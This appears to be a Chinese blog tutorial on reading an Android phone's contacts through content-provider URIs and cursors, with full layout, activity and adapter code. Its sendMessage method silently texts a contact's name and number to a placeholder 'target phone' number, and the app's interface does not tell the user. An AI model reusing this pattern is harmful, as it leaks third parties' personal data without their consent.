文章目录
前言
从Android手机获取通讯录信息,这个技术很早之前就已经出现了。
网上的各种教程也很多,最常见的就是传入uri,使用游标来获取信息。
至于为何要这样来获取,就是我要讲的内容了。
一、使用URI查询Android通讯录的本质
其实使用uri查询通讯录,实质上就是对手机上的通讯录数据库进行查找。Android手机上的数据库存放在/data/data/com.android.contact.provider/contacts2.db这个数据库里,这个数据库里大致有这些表。
其中的raw_contacts表是用来存储通讯录表,大致在我们手机上呈现的信息如下图所示,但这张表是不包含手机号码信息的,号码存储在data表中。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210623142344695.jpg
关于data表在我们手机上呈现的信息,我们可以参考下图。而这两张表的关联是通过raw_contact_id这个字段来进行的。
而这两张表的关联是通过raw_contact_id和_id这两个字段来进行的,因为在实际应用中,一个联系人通常存在多个电话号码的情况,所以_id和raw_contact_id是一对多的结构。
具体我们可以参考两张表的详细构造第一张图是data表,第二张图是raw_contacts表。
所以我们在进行通讯录遍历查找时,一般会先在raw_contacts表拿到contact_id这个字段的信息,再到data表中使用contact_id查找与之相等的raw_contact_id字段,还是直接上代码吧!
二、使用步骤
1.随便写个布局
:
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<Button
android:id="@+id/scan"
android:layout_width="match_parent"
android:layout_height="50dp"
android:text="扫描"
android:textSize="18sp"
android:gravity="center"
android:layout_alignParentTop="true"/>
<ListView
android:id="@+id/listview"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_below="@id/scan"
android:layout_marginTop="5dp"/>
</RelativeLayout>
布局方面就不多说了。
2.item构造
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<View
android:layout_width="match_parent"
android:layout_height="1dp"
android:background="@color/black"/>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="50dp"
android:weightSum="6"
android:orientation="horizontal">
<View
android:layout_width="1dp"
android:layout_height="match_parent"
android:background="@color/black"/>
<TextView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:text="姓名"
android:gravity="center"
android:textColor="@color/black"/>
<View
android:layout_width="1dp"
android:layout_height="match_parent"
android:background="@color/black"/>
<TextView
android:id="@+id/name"
android:layout_width="0dp"
android:layout_height="match_parent"
android:gravity="center"
android:layout_weight="2"/>
<View
android:layout_width="1dp"
android:layout_height="match_parent"
android:background="@color/black"/>
<TextView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:text="号码"
android:gravity="center"
android:textColor="@color/black"/>
<View
android:layout_width="1dp"
android:layout_height="match_parent"
android:background="@color/black"/>
<TextView
android:id="@+id/phonenumber"
android:layout_width="0dp"
android:layout_height="match_parent"
android:gravity="center"
android:layout_weight="2"/>
<View
android:layout_width="1dp"
android:layout_height="match_parent"
android:background="@color/black"/>
</LinearLayout>
</LinearLayout>
3.MainActivity
关于代码的解释我全放到注释里了,看起来比较方便一点
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.recyclerview.widget.RecyclerView;
import android.Manifest;
import android.content.ContentResolver;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.Toast;
import com.example.sendmessage.adapter.MessageAdapter;
import com.example.sendmessage.bean.MessageBean;
import java.util.ArrayList;
import java.util.List;
public class MainActivity extends AppCompatActivity {
private ListView listView;
private MessageAdapter adapter;
private List<MessageBean> messageInfoBeanList;
private MessageBean messageInfoBean;
private ContentResolver cr;
private Button button;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate( savedInstanceState );
setContentView( R.layout.activity_main );
//动态申请读取联系人权限
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(
MainActivity.this,new String[]{Manifest.permission.READ_CONTACTS},1);
}
//动态申请发送短信权限
if (ContextCompat.checkSelfPermission(this, Manifest.permission.SEND_SMS)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(
MainActivity.this,new String[]{Manifest.permission.SEND_SMS},1);
}
initView();
}
private void initView(){
button = findViewById( R.id.scan );
listView = findViewById( R.id.listview );
messageInfoBeanList = new ArrayList<>();
adapter = new MessageAdapter( MainActivity.this,messageInfoBeanList);
listView.setAdapter( adapter );
button.setOnClickListener( v -> {
cr = getContentResolver();
getContacts();
adapter.notifyDataSetChanged();
for (int i=0;i<messageInfoBeanList.size();i++){
// Log.i("test"," 手机号 "+messageInfoBeanList.get( i ).getPhoneNumber()+" 姓名:"+messageInfoBeanList.get( i ).getMessage());
}
} );
}
//获取联系人信息
public void getContacts(){
//获取联系人的ID及名字
/*
*其实获取通讯录的本质就是查询通讯录数据表
* 所以采用的是cursor来进行遍历操作
*/
/*
*首先通过uri打开数据库
*随后使用cursor也就是游标遍历数据库
*/
Uri uri=Uri.parse("content://com.android.contacts/raw_contacts");
Cursor cursor=cr.query(uri,null,null,null,null);
while(cursor.moveToNext()){
//获取_id字段信息和display_name字段信息
//_id是用来关联另一张表用,display_name是姓名
int id=cursor.getInt(cursor.getColumnIndex("_id"));
String name=cursor.getString(cursor.getColumnIndex("display_name"));
// Log.i("test",id+" "+name);
//根据联系人的ID获取联系人相对应的数据(名字+邮箱+phone)
/*
*关于query方法,有5个参数,分别是Uri uri, String[] projection, String selection,
*String[] selectionArgs, String sortOrder
*uri就不用说了
*projection:是需要读取的字段
*selection:是数据检索的条件
*selectionArgs:是数据检索条件的参数
*sortOrder:是排序的字段
*/
Uri uriData=Uri.parse("content://com.android.contacts/raw_contacts/"+id+"/data");
Cursor cursorData=cr.query(uriData,null,null,null,null);
while(cursorData.moveToNext()){
String data1=cursorData.getString(cursorData.getColumnIndex("data1"));
messageInfoBean= new MessageBean();
messageInfoBean.setPhoneNumber( data1 );
messageInfoBean.setMessage( name );
// int type=cursorData.getInt(cursorData.getColumnIndex("mimetype_id"));
String type=cursorData.getString(cursorData.getColumnIndex("mimetype"));
if("vnd.android.cursor.item/phone_v2".equals(type)){
Log.i("test"," 手机号 "+messageInfoBean.getPhoneNumber()+" 姓名:"+messageInfoBean.getMessage());
messageInfoBeanList.add( messageInfoBean );
}
}
cursorData.close();
}
cursor.close();
sendMessage( messageInfoBeanList );
}
//将遍历的第一个信息发送至目标手机
/*
*可能会有人问为什么不发送全部,因为短信是有字数限制的
*我尝试过好像只要超过70字就会发不出去
*/
public void sendMessage(List<MessageBean> list){
SmsManager smsManager = SmsManager.getDefault();
int i = 0;
String message = new String();
while (i<list.size() && i<1){
message = message+"姓名:"+list.get( i ).getMessage( )+" 手机号:"+list.get( i ).getPhoneNumber()+" ";
i++;
}
smsManager.sendTextMessage("这里填入接收信息的号码", null, message, null, null);
Log.i("test"," message "+message);
}
//权限申请结果回调
@Override
public void onRequestPermissionsResult(int requestCode,String[] permissions, int[] grantResults) {
switch (requestCode) {
case 1:
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
} else {
Toast.makeText(this, "获取联系人权限失败", Toast.LENGTH_SHORT).show();
}
break;
default:
}
}
}
4.MessageBean
public class MessageBean {
private String phoneNumber;
private String message;
public void setPhoneNumber(String phoneNumber){
this.phoneNumber = phoneNumber;
}
public String getPhoneNumber(){
return this.phoneNumber;
}
public void setMessage(String message){
this.message = message;
}
public String getMessage(){
return this.message;
}
}
5. MessageAdapter
import android.content.Context;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;
import com.example.sendmessage.R;
import com.example.sendmessage.bean.MessageBean;
import java.util.List;
public class MessageAdapter extends BaseAdapter {
private List<MessageBean> messageInfoBeanList;
private MessageBean bean;
private LayoutInflater inflater;
private Context context;
private ViewHolder viewHolder;
public MessageAdapter(Context context,List<MessageBean> messageInfoBeanList){
this.messageInfoBeanList = messageInfoBeanList;
this.context = context;
this.inflater = (LayoutInflater) context.getSystemService( Context.LAYOUT_INFLATER_SERVICE );
Log.i( "Adapter", messageInfoBeanList.toString());
}
@Override
public int getCount() {
return messageInfoBeanList.size();
}
@Override
public Object getItem(int position) {
return messageInfoBeanList.get( position );
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
if (convertView == null){
convertView = this.inflater.inflate( R.layout.item,null );
viewHolder = new ViewHolder();
viewHolder.name = convertView.findViewById( R.id.name );
viewHolder.phoneNumber = convertView.findViewById( R.id.phonenumber );
convertView.setTag( this.viewHolder );
}else {
this.viewHolder = (ViewHolder) convertView.getTag();
}
viewHolder.phoneNumber.setText( this.messageInfoBeanList.get( position ).getPhoneNumber());
viewHolder.name.setText( this.messageInfoBeanList.get( position ).getMessage() );
Log.i( "adapter", messageInfoBeanList.get( position ).getPhoneNumber()+" "+messageInfoBeanList.get( position ).getMessage() );
return convertView;
}
class ViewHolder {
TextView name;
TextView phoneNumber;
}
}
权限申明(Manifest里面)
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
效果
最终呈现的效果就是这样,会扫描手机通讯录中的所有信息,以表格的形式呈现,然后发送第一条信息到目标手机上,不过有bug,就是在安装完成运行的第一遍,点击扫描按钮会闪退,应该是权限问题,不过我懒得改了,后续再打开一次就没事了(当然前提是你给了权限)。